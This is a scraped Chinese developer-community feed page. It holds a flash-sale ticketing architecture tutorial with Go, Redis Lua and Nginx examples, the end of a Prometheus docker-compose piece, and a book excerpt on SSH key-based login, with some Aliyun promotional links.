        要一键拉起整套监控栈, 首先 kubernetes 就不考虑了, 能无痛部署生产级 kubernetes 集群的大佬不会需要这样的命令. 这时候, 反倒凉透的 docker-compose 是一个很好的选择. 还是以阿里云 exporter 为例, 仓库提供的 docker-compose stack 里提供了 Prometheus, aliyun-exporter, Grafana(看板), Alertmanager(发警报), alertmanager-dingtalk-webhook(适配 alertmanager 的警报到钉钉机器人) 的一键部署并且警报规则和 Grafana 看板页一并配置完毕. 这么一来, 只要用户有一台装了 docker 的机器, 他就能在5分钟之内打开 Grafana 看到这些效果(还有钉钉警报…假如这位用户的服务器不太健康的话):

        当然了, 想要稳固地部署这套架构, 还是需要多机做高可用或者直接扔到 k8s, swarm 这样的编排系统上. 但假如没有”一键部署”的存在, 很多对 Prometheus 生态不熟悉的开发者就会被拒之门外; 另外, 对于有经验的用户, “一键部署”也能帮助他们快速理解这个 exporter 的特性, 帮助他们判断是否需要启用这个组件.


        结语

        爆款云主机限时:https://www.aliyun.com/acts/limit-buy?userCode=d4m00na3

        ]]>
        千万级 高并发 “秒杀” 架构设计(含源码) Fri, 02 May 2025 09:39:04 +0800 每到节假日期间,一二线城市返乡、外出游玩的人们几乎都面临着一个问题:抢火车票!虽然现在大多数情况下都能订到票,但是放票瞬间即无票的场景,相信大家都深有体会。尤其是春节期间,大家不仅使用12306,还会考虑“智行”和其他的抢票软件,全国上下几亿人在这段时间都在抢票。“12306服务”承受着这个世界上任何秒杀系统都无法超越的QPS,上百万的并发再正常不过了!笔者专门研究了一下“12306”的服务端架构,学习到了其系统设计上很多亮点,在这里和大家分享一下并模拟一个例子:如何在100万人同时抢1万张火车票时,系统提供正常、稳定的服务。

        最新粉丝福利

        阿里云取到价格限时2折:

        https://www.aliyun.com/acts/limit-buy?userCode=d4m00na3

        github源码地址:

        http://github.com/GuoZhaoran/spikeSystem

        1、大型高并发系统架构

        高并发的系统架构都会采用分布式集群部署,服务上层有着层层负载均衡,并提供各种容灾手段(双火机房、节点容错、服务器灾备等)保证系统的高可用,流量也会根据不同的负载能力和配置策略均衡到不同的服务器上。下边是一个简单的示意图:

        1.1 负载均衡简介

        上图中描述了用户请求到服务器经历了三层的负载均衡,下边分别简单介绍一下这三种负载均衡:

        1、OSPF(开放式最短链路优先)是一个内部网关协议(Interior Gateway Protocol,简称IGP)。OSPF通过路由器之间通告网络接口的状态来建立链路状态数据库,生成最短路径树,OSPF会自动计算路由接口上的Cost值,但也可以通过手工指定该接口的Cost值,手工指定的优先于自动计算的值。OSPF计算的Cost,同样是和接口带宽成反比,带宽越高,Cost值越小。到达目标相同Cost值的路径,可以执行负载均衡,最多6条链路同时执行负载均衡。

        2、LVS (Linux VirtualServer),它是一种集群(Cluster)技术,采用IP负载均衡技术和基于内容请求分发技术。调度器具有很好的吞吐率,将请求均衡地转移到不同的服务器上执行,且调度器自动屏蔽掉服务器的故障,从而将一组服务器构成一个高性能的、高可用的虚拟服务器。

        3、Nginx想必大家都很熟悉了,是一款非常高性能的http代理/反向代理服务器,服务开发中也经常使用它来做负载均衡。Nginx实现负载均衡的方式主要有三种:轮询、加权轮询、ip hash轮询,下面我们就针对Nginx的加权轮询做专门的配置和测试

        1.2 Nginx加权轮询的演示

        Nginx实现负载均衡通过upstream模块实现,其中加权轮询的配置是可以给相关的服务加上一个权重值,配置的时候可能根据服务器的性能、负载能力设置相应的负载。下面是一个加权轮询负载的配置,我将在本地的监听3001-3004端口,分别配置1,2,3,4的权重:

        #配置负载均衡    upstream load_rule {       server 127.0.0.1:3001 weight=1;       server 127.0.0.1:3002 weight=2;       server 127.0.0.1:3003 weight=3;       server 127.0.0.1:3004 weight=4;    }    ...    server {    listen       80;    server_name  load_balance.com www.load_balance.com;    location / {       proxy_pass http://load_rule;    }}

        我在本地/etc/hosts目录下配置了 www.load_balance.com的虚拟域名地址,接下来使用Go语言开启四个http端口监听服务,下面是监听在3001端口的Go程序,其他几个只需要修改端口即可:

        1. package main


        2. import (

        3.    "net/http"

        4.    "os"

        5.    "strings"

        6. )


        7. func main() {

        8.    http.HandleFunc("/buy/ticket", handleReq)

        9.    http.ListenAndServe(":3001", nil)

        10. }


        11. //处理请求函数,根据请求将响应结果信息写入日志

        12. func handleReq(w http.ResponseWriter, r *http.Request) {

        13.    failedMsg :=  "handle in port:"

        14.    writeLog(failedMsg, "./stat.log")

        15. }


        16. //写入日志

        17. func writeLog(msg string, logPath string) {

        18.    fd, _ := os.OpenFile(logPath, os.O_RDWR|os.O_CREATE|os.O_APPEND, 0644)

        19.    defer fd.Close()

        20.    content := strings.Join([]string{msg, "\r\n"}, "3001")

        21.    buf := []byte(content)

        22.    fd.Write(buf)

        23. }

        我将请求的端口日志信息写到了./stat.log文件当中,然后使用ab压测工具做压测:

        ab -n 1000 -c 100 http://www.load_balance.com/buy/ticket

        统计日志中的结果,3001-3004端口分别得到了100、200、300、400的请求量,这和我在nginx中配置的权重占比很好的吻合在了一起,并且负载后的流量非常的均匀、随机。具体的实现大家可以参考nginx的upsteam模块实现源码,这里推荐一篇文章:Nginx 中 upstream 机制的负载均衡

        2、秒杀抢购系统选型

        回到我们最初提到的问题中来:火车票秒杀系统如何在高并发情况下提供正常、稳定的服务呢?

        从上面的介绍我们知道用户秒杀流量通过层层的负载均衡,均匀到了不同的服务器上,即使如此,集群中的单机所承受的QPS也是非常高的。如何将单机性能优化到极致呢?要解决这个问题,我们就要想明白一件事: 通常订票系统要处理生成订单、减扣库存、用户支付这三个基本的阶段,我们系统要做的事情是要保证火车票订单不超卖、不少卖,每张售卖的车票都必须支付才有效,还要保证系统承受极高的并发。这三个阶段的先后顺序改怎么分配才更加合理呢?我们来分析一下:

        2.1 下单减库存

        当用户并发请求到达服务端时,首先创建订单,然后扣除库存,等待用户支付。这种顺序是我们一般人首先会想到的解决方案,这种情况下也能保证订单不会超卖,因为创建订单之后就会减库存,这是一个原子操作。但是这样也会产生一些问题,第一就是在极限并发情况下,任何一个内存操作的细节都至关影响性能,尤其像创建订单这种逻辑,一般都需要存储到磁盘数据库的,对数据库的压力是可想而知的;第二是如果用户存在恶意下单的情况,只下单不支付这样库存就会变少,会少卖很多订单,虽然服务端可以限制IP和用户的购买订单数量,这也不算是一个好方法。

        2.2 支付减库存

        如果等待用户支付了订单在减库存,第一感觉就是不会少卖。但是这是并发架构的大忌,因为在极限并发情况下,用户可能会创建很多订单,当库存减为零的时候很多用户发现抢到的订单支付不了了,这也就是所谓的“超卖”。也不能避免并发操作数据库磁盘IO

        2.3 预扣库存

        从上边两种方案的考虑,我们可以得出结论:只要创建订单,就要频繁操作数据库IO。那么有没有一种不需要直接操作数据库IO的方案呢,这就是预扣库存。先扣除了库存,保证不超卖,然后异步生成用户订单,这样响应给用户的速度就会快很多;那么怎么保证不少卖呢?用户拿到了订单,不支付怎么办?我们都知道现在订单都有有效期,比如说用户五分钟内不支付,订单就失效了,订单一旦失效,就会加入新的库存,这也是现在很多网上零售企业保证商品不少卖采用的方案。订单的生成是异步的,一般都会放到MQ、kafka这样的即时消费队列中处理,订单量比较少的情况下,生成订单非常快,用户几乎不用排队。

        3、扣库存的艺术

        从上面的分析可知,显然预扣库存的方案最合理。我们进一步分析扣库存的细节,这里还有很大的优化空间,库存存在哪里?怎样保证高并发下,正确的扣库存,还能快速的响应用户请求?

        在单机低并发情况下,我们实现扣库存通常是这样的:

        为了保证扣库存和生成订单的原子性,需要采用事务处理,然后取库存判断、减库存,最后提交事务,整个流程有很多IO,对数据库的操作又是阻塞的。这种方式根本不适合高并发的秒杀系统。

        接下来我们对单机扣库存的方案做优化:本地扣库存。我们把一定的库存量分配到本地机器,直接在内存中减库存,然后按照之前的逻辑异步创建订单。改进过之后的单机系统是这样的:

        这样就避免了对数据库频繁的IO操作,只在内存中做运算,极大的提高了单机抗并发的能力。但是百万的用户请求量单机是无论如何也抗不住的,虽然nginx处理网络请求使用epoll模型,c10k的问题在业界早已得到了解决。但是linux系统下,一切资源皆文件,网络请求也是这样,大量的文件描述符会使操作系统瞬间失去响应。上面我们提到了nginx的加权均衡策略,我们不妨假设将100W的用户请求量平均均衡到100台服务器上,这样单机所承受的并发量就小了很多。然后我们每台机器本地库存100张火车票,100台服务器上的总库存还是1万,这样保证了库存订单不超卖,下面是我们描述的集群架构:

        问题接踵而至,在高并发情况下,现在我们还无法保证系统的高可用,假如这100台服务器上有两三台机器因为扛不住并发的流量或者其他的原因宕机了。那么这些服务器上的订单就卖不出去了,这就造成了订单的少卖。要解决这个问题,我们需要对总订单量做统一的管理,这就是接下来的容错方案。服务器不仅要在本地减库存,另外要远程统一减库存。有了远程统一减库存的操作,我们就可以根据机器负载情况,为每台机器分配一些多余的“buffer库存”用来防止机器中有机器宕机的情况。我们结合下面架构图具体分析一下:

        我们采用Redis存储统一库存,因为Redis的性能非常高,号称单机QPS能抗10W的并发。在本地减库存以后,如果本地有订单,我们再去请求redis远程减库存,本地减库存和远程减库存都成功了,才返回给用户抢票成功的提示,这样也能有效的保证订单不会超卖。当机器中有机器宕机时,因为每个机器上有预留的buffer余票,所以宕机机器上的余票依然能够在其他机器上得到弥补,保证了不少卖。buffer余票设置多少合适呢,理论上buffer设置的越多,系统容忍宕机的机器数量就越多,但是buffer设置的太大也会对redis造成一定的影响。虽然redis内存数据库抗并发能力非常高,请求依然会走一次网络IO,其实抢票过程中对redis的请求次数是本地库存和buffer库存的总量,因为当本地库存不足时,系统直接返回用户“已售罄”的信息提示,就不会再走统一扣库存的逻辑,这在一定程度上也避免了巨大的网络请求量把redis压跨,所以buffer值设置多少,需要架构师对系统的负载能力做认真的考量。

        4、代码演示

        Go语言原生为并发设计,我采用go语言给大家演示一下单机抢票的具体流程。

        4.1 初始化工作

        go包中的init函数先于main函数执行,在这个阶段主要做一些准备性工作。我们系统需要做的准备工作有:初始化本地库存、初始化远程redis存储统一库存的hash键值、初始化redis连接池;另外还需要初始化一个大小为1的int类型chan,目的是实现分布式锁的功能,也可以直接使用读写锁或者使用redis等其他的方式避免资源竞争,但使用channel更加高效,这就是go语言的哲学:不要通过共享内存来通信,而要通过通信来共享内存。redis库使用的是redigo,下面是代码实现:

        1. ...

        2. //localSpike包结构体定义

        3. package localSpike


        4. type LocalSpike struct {

        5.    LocalInStock     int64

        6.    LocalSalesVolume int64

        7. }

        8. ...

        9. //remoteSpike对hash结构的定义和redis连接池

        10. package remoteSpike

        11. //远程订单存储健值

        12. type RemoteSpikeKeys struct {

        13.    SpikeOrderHashKey string    //redis中秒杀订单hash结构key

        14.    TotalInventoryKey string    //hash结构中总订单库存key

        15.    QuantityOfOrderKey string    //hash结构中已有订单数量key

        16. }


        17. //初始化redis连接池

        18. func NewPool() *redis.Pool {

        19.    return &redis.Pool{

        20.        MaxIdle:   10000,

        21.        MaxActive: 12000, // max number of connections

        22.        Dial: func() (redis.Conn, error) {

        23.            c, err := redis.Dial("tcp", ":6379")

        24.            if err != nil {

        25.                panic(err.Error())

        26.            }

        27.            return c, err

        28.        },

        29.    }

        30. }

        31. ...

        32. func init() {

        33.    localSpike = localSpike2.LocalSpike{

        34.        LocalInStock:     150,

        35.        LocalSalesVolume: 0,

        36.    }

        37.    remoteSpike = remoteSpike2.RemoteSpikeKeys{

        38.        SpikeOrderHashKey:  "ticket_hash_key",

        39.        TotalInventoryKey:  "ticket_total_nums",

        40.        QuantityOfOrderKey: "ticket_sold_nums",

        41.    }

        42.    redisPool = remoteSpike2.NewPool()

        43.    done = make(chan int, 1)

        44.    done <- 1

        45. }

        4.2 本地扣库存和统一扣库存

        本地扣库存逻辑非常简单,用户请求过来,添加销量,然后对比销量是否大于本地库存,返回bool值:

        package localSpike//本地扣库存,返回bool值func (spike *LocalSpike) LocalDeductionStock() bool{    spike.LocalSalesVolume = spike.LocalSalesVolume + 1    return spike.LocalSalesVolume < spike.LocalInStock}

        注意这里对共享数据LocalSalesVolume的操作是要使用锁来实现的,但是因为本地扣库存和统一扣库存是一个原子性操作,所以在最上层使用channel来实现,这块后边会讲。统一扣库存操作redis,因为redis是单线程的,而我们要实现从中取数据,写数据并计算一些列步骤,我们要配合lua脚本打包命令,保证操作的原子性:

        package remoteSpike......const LuaScript = `        local ticket_key = KEYS[1]        local ticket_total_key = ARGV[1]        local ticket_sold_key = ARGV[2]        local ticket_total_nums = tonumber(redis.call('HGET', ticket_key, ticket_total_key))        local ticket_sold_nums = tonumber(redis.call('HGET', ticket_key, ticket_sold_key))        -- 查看是否还有余票,增加订单数量,返回结果值       if(ticket_total_nums >= ticket_sold_nums) then            return redis.call('HINCRBY', ticket_key, ticket_sold_key, 1)        end        return 0`//远端统一扣库存func (RemoteSpikeKeys *RemoteSpikeKeys) RemoteDeductionStock(conn redis.Conn) bool {    lua := redis.NewScript(1, LuaScript)    result, err := redis.Int(lua.Do(conn, RemoteSpikeKeys.SpikeOrderHashKey, RemoteSpikeKeys.TotalInventoryKey, RemoteSpikeKeys.QuantityOfOrderKey))    if err != nil {        return false    }    return result != 0}

        我们使用hash结构存储总库存和总销量的信息,用户请求过来时,判断总销量是否大于库存,然后返回相关的bool值。在启动服务之前,我们需要初始化redis的初始库存信息:

         hmset ticket_hash_key "ticket_total_nums" 10000 "ticket_sold_nums" 0

        4.3 响应用户信息

        我们开启一个http服务,监听在一个端口上:

        package main...func main() {    http.HandleFunc("/buy/ticket", handleReq)    http.ListenAndServe(":3005", nil)}

        上面我们做完了所有的初始化工作,接下来handleReq的逻辑非常清晰,判断是否抢票成功,返回给用户信息就可以了。

        1. package main

        2. //处理请求函数,根据请求将响应结果信息写入日志

        3. func handleReq(w http.ResponseWriter, r *http.Request) {

        4.    redisConn := redisPool.Get()

        5.    LogMsg := ""

        6.    <-done

        7.    //全局读写锁

        8.    if localSpike.LocalDeductionStock() && remoteSpike.RemoteDeductionStock(redisConn) {

        9.        util.RespJson(w, 1,  "抢票成功", nil)

        10.        LogMsg = LogMsg + "result:1,localSales:" + strconv.FormatInt(localSpike.LocalSalesVolume, 10)

        11.    } else {

        12.        util.RespJson(w, -1, "已售罄", nil)

        13.        LogMsg = LogMsg + "result:0,localSales:" + strconv.FormatInt(localSpike.LocalSalesVolume, 10)

        14.    }

        15.    done <- 1


        16.    //将抢票状态写入到log中

        17.    writeLog(LogMsg, "./stat.log")

        18. }


        19. func writeLog(msg string, logPath string) {

        20.    fd, _ := os.OpenFile(logPath, os.O_RDWR|os.O_CREATE|os.O_APPEND, 0644)

        21.    defer fd.Close()

        22.    content := strings.Join([]string{msg, "\r\n"}, "")

        23.    buf := []byte(content)

        24.    fd.Write(buf)

        25. }

        前边提到我们扣库存时要考虑竞态条件,我们这里是使用channel避免并发的读写,保证了请求的高效顺序执行。我们将接口的返回信息写入到了./stat.log文件方便做压测统计。

        4.4 单机服务压测

        开启服务,我们使用ab压测工具进行测试:

        ab -n 10000 -c 100 http://127.0.0.1:3005/buy/ticket

        下面是我本地低配mac的压测信息

        1. This is ApacheBench, Version 2.3 <$Revision: 1826891 $>

        2. Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/

        3. Licensed to The Apache Software Foundation, http://www.apache.org/


        4. Benchmarking 127.0.0.1 (be patient)

        5. Completed 1000 requests

        6. Completed 2000 requests

        7. Completed 3000 requests

        8. Completed 4000 requests

        9. Completed 5000 requests

        10. Completed 6000 requests

        11. Completed 7000 requests

        12. Completed 8000 requests

        13. Completed 9000 requests

        14. Completed 10000 requests

        15. Finished 10000 requests



        16. Server Software:

        17. Server Hostname:        127.0.0.1

        18. Server Port:            3005


        19. Document Path:          /buy/ticket

        20. Document Length:        29 bytes


        21. Concurrency Level:      100

        22. Time taken for tests:   2.339 seconds

        23. Complete requests:      10000

        24. Failed requests:        0

        25. Total transferred:      1370000 bytes

        26. HTML transferred:       290000 bytes

        27. Requests per second:    4275.96 [#/sec] (mean)

        28. Time per request:       23.387 [ms] (mean)

        29. Time per request:       0.234 [ms] (mean, across all concurrent requests)

        30. Transfer rate:          572.08 [Kbytes/sec] received


        31. Connection Times (ms)

        32.              min  mean[+/-sd] median   max

        33. Connect:        0    8  14.7      6     223

        34. Processing:     2   15  17.6     11     232

        35. Waiting:        1   11  13.5      8     225

        36. Total:          7   23  22.8     18     239


        37. Percentage of the requests served within a certain time (ms)

        38.  50%     18

        39.  66%     24

        40.  75%     26

        41.  80%     28

        42.  90%     33

        43.  95%     39

        44.  98%     45

        45.  99%     54

        46. 100%    239 (longest request)

        根据指标显示,我单机每秒就能处理4000+的请求,正常服务器都是多核配置,处理1W+的请求根本没有问题。而且查看日志发现整个服务过程中,请求都很正常,流量均匀,redis也很正常:

        //stat.log...result:1,localSales:145result:1,localSales:146result:1,localSales:147result:1,localSales:148result:1,localSales:149result:1,localSales:150result:0,localSales:151result:0,localSales:152result:0,localSales:153result:0,localSales:154result:0,localSales:156...

        5、总结回顾

        总体来说,秒杀系统是非常复杂的。我们这里只是简单介绍模拟了一下单机如何优化到高性能,集群如何避免单点故障,保证订单不超卖、不少卖的一些策略,完整的订单系统还有订单进度的查看,每台服务器上都有一个任务,定时的从总库存同步余票和库存信息展示给用户,还有用户在订单有效期内不支付,释放订单,补充到库存等等。

        我们实现了高并发抢票的核心逻辑,可以说系统设计的非常的巧妙,巧妙的避开了对DB数据库IO的操作,对Redis网络IO的高并发请求,几乎所有的计算都是在内存中完成的,而且有效的保证了不超卖、不少卖,还能够容忍部分机器的宕机。我觉得其中有两点特别值得学习总结:

        1、负载均衡,分而治之。通过负载均衡,将不同的流量划分到不同的机器上,每台机器处理好自己的请求,将自己的性能发挥到极致,这样系统的整体也就能承受极高的并发了,就像工作的的一个团队,每个人都将自己的价值发挥到了极致,团队成长自然是很大的。

        2、合理的使用并发和异步。自epoll网络架构模型解决了c10k问题以来,异步越来被服务端开发人员所接受,能够用异步来做的工作,就用异步来做,在功能拆解上能达到意想不到的效果,这点在nginx、node.js、redis上都能体现,他们处理网络请求使用的epoll模型,用实践告诉了我们单线程依然可以发挥强大的威力。服务器已经进入了多核时代,go语言这种天生为并发而生的语言,完美的发挥了服务器多核优势,很多可以并发处理的任务都可以使用并发来解决,比如go处理http请求时每个请求都会在一个goroutine中执行,总之:怎样合理的压榨CPU,让其发挥出应有的价值,是我们一直需要探索学习的方向。


        ]]>
        带你读《Linux实战》之三:远程连接:安全访问联网的计算机-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 点击查看第一章
        点击查看第二章

        第3章

        远程连接:安全访问联网的计算机
        本章内容提要

        • 加密并保护远程连接
        • 使用systemd管理Linux系统进程
        • 非常安全和方便的免密码SSH接入
        • 使用SCP在远程位置之间安全地拷贝文件
        • 在SSH连接上使用远程图形程序

        人们常说,抵达目的地只是乐趣的一半。好吧,当在分布式计算的世界里工作时,无法访问你的服务器和远程资源会是一个很严重的问题。因为现在的很多工作都是由你在上一章中看到的虚拟机承担的,而你们又不能走到一台虚拟服务器旁边,按下电源按钮然后登录,你需要一些其他的访问路径。欢迎来到安全Shell(Secure Shell,SSH)的世界。

        3.1 加密的重要性

        最开始时,Telnet被用于在网络上以任意速率登录连接。Telnet协议速度快且可靠,而且,在由诸多更小、更简单的网络组成的单纯世界里,完美可用。在那时,Telnet会话以不加密的方式发送数据包并不是什么大事。
        然而,我明白在过去的几十年里事情已经发生了些许变化。如今,所有酷孩子们使用的互联网较之前更大了,而且,网络管理员也不再以最初的名字相互认识。很显然,现在安全性已经成为一个被热烈讨论的话题。或者,换句话说,如果你在不安全的网络上正使用Telnet以纯文本的方式传输包含密码和个人信息的私有数据,那你就该假定它们不再是私有的。实际上,在网络上使用诸如Wireshark等免费可用的抓包软件,任何人都可以轻松读取到你发送和接收的任何数据。
        因为每个人都定期在公共网络上移动敏感数据,那么可怜的管理员要做什么?解决方案是加密将要传输的数据。但什么是加密呢?
        要想保护数据的隐私,即使数据落入他人之手,安全软件可以使用加密密钥(encryption key),即包含随机字符序列的小文件。如图3-1所示,密钥可用为加密算法的一部分应用,以将纯文本的、可读的数据转换为相当于完全乱码的数据。至少在该密钥被应用于相同算法的逆应用之前,这些数据看起来是乱码的。在文件的加密版本上使用密钥将把这些乱码数据恢复为最初形式。如果只有你和你信任的朋友拥有该密钥,应该就没有其他人能够获取数据的含义,即使数据被拦截。
        当你登录到一个远程服务器时,你所做的只是让包含会话信息的数据包在两台计算机之间来回地传送。安全(secure)通信的关键是在传输每个数据包之前快速地对其加密,之后,在接收端快速地将其解密。事实上,SSH网络协议可以快速且无形地进行这一处理,从而让曾经使用Telnet会话进行连接的用户感受不到任何差异。

        image.png

        20世纪90年代设计的SSH是面向UNIX类操作系统的、安全加密传输远程登录数据的一个简单方式。该协议的OpenSSH实现如今非常流行,以致微软公司近期已在Windows中提供了该协议。

        3.2 OpenSSH入门

        在本节,你将要检查OpenSSH是否已经安装在你的计算机上并处于活动状态。之后,如果需要的话,你会安装该软件。因为对软件包活动状态的测试需要理解当今Linux发行版如何管理进程,所以你将会绕进systemd的世界。当一切就绪,你就可以使用OpenSSH打开远程服务器上的登录会话。
        如果你还没有安装该软件包,在Ubuntu或Debian主机上运行apt install openssh-server命令将为你提供所需的全部软件。但Linux发行的许多版本都至少提供了现成的最小化SSH功能。要想查看你的系统中已有什么(至少在基于Debian/Ubuntu的机器上),可以使用包管理器dpkg。
        dpkg命令行工具管理和查询高级包工具(Advanced Package Tool,APT)系统中的软件包。运行带有-s标志和软件包名字的dpkg命令会返回当前安装及更新的状态。如果该软件包已被安装(就像gedit示例中软件已安装一样),输出看起来将类似如下内容:

        image.png

        注意:在第2章,你曾见过使用apt search packagename查找尚未安装的可用软件包。
        如图3-2所示,当你登录到一台远程计算机,你的本地计算机就是该远程服务器的一个客户,因此,你就要使用openssh-client软件包。然而,你正在登录的远程服务器的操作系统就扮演了该shell会话的主操作系统,因此服务器必须运行openssh-server软件包。

        image.png

        你可以运行dpkg -s openssh-client或dpkg -s openssh-server来确认计算机上已经安装了正确的软件包。因为这些软件包被用来承载远程的shell会话,Linux容器通常会默认地安装整套软件包。
        服务器版本同样包括了可在客户端软件包中找到的所有工具。这意味着,在安装了openssh-server软件包的计算机上,操作人员也可以通过SSH登录到其他服务器。因此,即使你的计算机上还没有安装客户端软件包,安装服务器软件包将可以完全覆盖所需要的所有功能。
        另一方面,安全性最佳实践告诉我们要将基础设施中的访问路由限制在绝对必要的范围内。如果你认为你不需要登录到你的台式机或笔记本上,那么,仅需安装openssh-client软件包即可:
        image.png

        仅正确地安装了软件包并不意味着该软件包是立即可用的。有时候,配置文件被默认设置为不活动的。在阅读本书的过程中,你将看到大量关于设置配置的示例,而且,在本章稍后的内容中,你将看到OpenSSH的配置文件。但是,Linux程序不能正常工作可能还有另一个共同的原因—它并没有运行。你可以使用systemctl status命令来检查计算机中SSH是否正在运行:
        image.png

        如你从输出的Active行所见,一切都很好。如果确实需要你自己动手进行处理,需再次使用systemctl,但这次是用start代替status。
        对你的新玩具感到厌倦了吗?systemctl stop命令可以快速地将其停止:
        image.png

        你可以使用systemctl enable ssh强制系统启动时自动加载一个进程(如SSH),或者使用systemctl disable ssh来禁止自动加载。如下代码片段启用了SSH功能:
        image.png

        systemctl看起来很不错,但你几乎没有机会见到它。现在OpenSSH正在等着我们,但在本章的末尾,我将更为深入地解释进程管理。

        3.3 使用SSH登录一台远程服务器

        启动远程会话要比想象的简单一些。请确保已有第二台计算机在某个地方运行,该计算机加载了openssh-server且可以通过网络进行访问。例如,你可以采用上一章的方法来启动一个LXC容器。
        现在,查找计算机的IP地址。如果你正在使用LXC容器,就可以通过lxc-ls --fancy命令获取任何需要的信息。如下示例中给出了一个名为test且未运行的容器,以及一个正在运行的base容器,使用的IP地址是10.0.3.144。
        image.png

        或者,如果你正好登录了你的服务器,你就可以使用ip addr命令获取服务器的公有地址,该命令会乱糟糟地输出一大堆罗列本地网络接口的字符。这些字符看上去如下形式:
        image.png

        本例中,接口中标号为8的inet行是我们主要关注的。其给出了IP地址10.0.3.144。
        拥有这些信息后,要进行连接,你将需要使用登录服务器的账号名和IP地址来执行ssh命令。如果这是你第一次从自己的计算机登录该服务器,将会要求你输入yes来确认服务器上OpenSSH程序发回的认证信息(说明一下,是yes,而不是字母y)。最后,你要输入该账号的密码(在我的例子中是ubuntu),然后你登录了服务器:
        image.png

        是否没有按照你的预期执行?看起来你要拥有一个极好的学习体验了!你可能遇到的最常见的问题包括网络连接问题,这样的话,为什么不先偷偷看一下第14章的内容呢?现在,请使用ping命令测试两台计算机是否互相可达。假定你在自己的计算机上测试到IP地址为10.0.3.144的远程服务器的连通性,成功的ping操作的结果看起来应该是这样的:
        image.png

        失败的结果可能如下。为了便于说明,我ping了一个未被使用的IP地址:
        image.png

        3.4 免密码SSH访问

        密码总是让人感到有些沮丧。它们几乎从未被正确地使用过。它们要么太短、太容易被猜出,要么就是在多个账号中被过度使用。而且,人们似乎会以惊人的速度忘记它们。如果保护数据的唯一方法是密码,那么数据极有可能并未得到很好的保护。
        这就是为什么当涉及安全(如Amazon Web Service,AWS)时,最可信的行业从业人员会在默认情况下完全禁用其云实例上的密码验证。如果你担心未经授权的服务器访问风险,那么你可能需要考虑跟随他们的步伐。以下是在亚马逊Linux实例上,/etc/ssh/sshd_config文件中关于EC2服务的设置:
        image.png

        OpenSSH配置文件
        与Linux中的任何其他事物一样,OpenSSH在计算机中的运行方式很大程度上取决于它的纯文本配置文件。而且,和大多数其他程序一样,我们可以在/etc目录体系中找到这些配置文件。当前情况下,配置文件存放在/etc/ssh/目录中。
        配置文件/etc/ssh/sshd_config中的设置参数控制远程客户(remote client)登录到你的计算机的方式。另一方面,/etc/ssh/sshd_config控制本机用户作为客户登录到远程主机(remote host)的方式。除了限制用户如何通过SSH登录你的计算机,这些文件中的设置也可被用作控制所有类型的行为,包括是否允许远程GUI访问本地程序。

        代替SSH密码授权的一个方式是创建一个特定的密钥对,之后将公共部分拷贝到远程主机,即要登录的计算机。当连接两端都有加密密钥时,在主机上运行的OpenSSH现在就可以知道是哪个用户而无须要求输入密码。这并不是说在基础设施安全中密码没有积极的作用。实际上,你将很快看到是什么情况。理想情况下,你应该创建一个口令(passphrase)并在你使用密钥对之前在本地进行授权。
        注意:类似于密码,口令是你选择的加密文本串。但口令常常会包括空格,由一系列真正的单词组成。像3Kjsi&*cn@PO这样的密码是不错的,但像“fully tired cares mound”这样的口令会更好,因为其长度更长而且更易于记忆。

        3.4.1 生成新的密钥对

        当然,解决问题的方法不止一种。但是,由于所有优秀的系统管理员都是经过训练的懒人,我将采用按键最少的方法。该选择的一个意外但令人愉快的结果是,我将向你介绍管道字符(|)的更复杂的用法。
        你会从使用ssh-keygen程序在客户计算机上创建一个新的公钥/私钥对开始。你将被询问密钥对的名字,但是,除非你已经得到了一个名为id_rsa的密钥对,否则我将按下回车键(Enter)并使用默认值。如之前所见,在提示时创建一个口令通常会更好,特别是在你将计算机与他人共享的时候。请记住,如果你选择增加一个口令,那么每当你使用密钥时都会提示你输入口令。以下给出了所有的相关信息:
        image.png
        image.png

        现在你拥有了一个崭新的基于RSA加密的密钥对。继续前进,使用ls -l命令以长格式显示.ssh/目录中的内容。注意,这里有两个名为id_rsa的文件,但只有一个文件的扩展名为.pub。这个文件是密钥对的公钥部分,也是你最终要复制到会话主机远程计算机的文件:
        image.png

        应该使用哪种算法?
        除了RSA(Ron Rivest、Adi Shamir和Leonard Adleman三位研究者率先提出该算法,故以他们姓氏的首字母缩写来命名该算法),OpenSSH还支持ECDSA和ED25519签名算法。你将发现默认的RSA算法与ECDSA和ED25519算法之间的技术差异非常模糊,它们都具有基于椭圆曲线的优势。它们都被认为是相当安全的。对于ECDSA和ED25519算法,要记住的是在较早的实现中它们可能并未被完全支持。
        不要再假设所有的OpenSSH实现都支持DSA。鉴于对DSA源头理论的质疑,在任何情况下都要尽可能地避免使用该算法。

        3.4.2 在网络上复制公钥

        在你将公钥复制到宿主机之前,免密码SSH访问是不能工作的。如你在图3-3中看到的,密钥对通常在客户计算机上创建。这是因为私钥的确应该是私有的。你应该尽可能地避免对其进行不必要的移动,并且将其暴露给那些不友好的眼睛。

        image.png

        一旦创建了密钥对,你就可以将公钥添加到宿主计算机的.ssh/authorized_keys文件中。在宿主机上运行的OpenSSH软件将可以验证在客户主机上用私钥创建的密文消息的真实性。一旦该消息得到验证,就可以开始SSH会话了。
        首先要做的是确定要登录的主机上的用户账号。在我给出的示例中,使用了名为ubuntu的账号。密钥需要被复制到/home/ubuntu/下的.ssh/目录中。如果该目录不存在,可以用mkdir命令创建。
        不过,首先我要介绍一个很酷的快捷方式:实际上不需要在远程主机上打开一个完整的SSH会话。相反,你可以将命令追加到常规的SSH语法中,形式如下所示:
        image.png

        你将仍需要为远程主机提供密码。但只要完成了这一操作,在主机的/home/ubuntu/目录下将会有一个.ssh/目录。
        为了便于阅读,我用反斜杠()将下一条命令分割为三行,反斜杠()会让Bash知道下一行是当前行命令的一部分。请确定在反斜杠后没有其他字符(包括空格)。这肯定会让人感到有些不舒服:
        image.png

        这个多行的命令将用cat读取文件id_rsa.pub中的所有内容并将其存储在内存中。之后,该命令通过登录到远程宿主计算机的SSH会话以管道方式传输文本。最后,在宿主计算机上再一次读取该文本,并将其添加到authorized_keys文件中。如果该文件不存在,>>(追加工具)会创建该文件。如果该文件已经存在,就将文本追加到该文件的末尾。
        就是这样。你可以来试试。现在,当你运行相同的老版本ssh命令时,不需要输入密码:
        image.png

        3.4.3 使用多个加密密钥

        在某些情形下(如必须登录到亚马逊EC2服务上的一个虚拟主机实例),你需要为给定的会话指定一个密钥对。当你开始为不同的宿主机构建一个密钥集合时,这种情况肯定会发生。为了让OpenSSH知道你所用的密钥,可以为命令添加-i标志,其后是关于私钥文件的名称与位置的参数:
        image.png

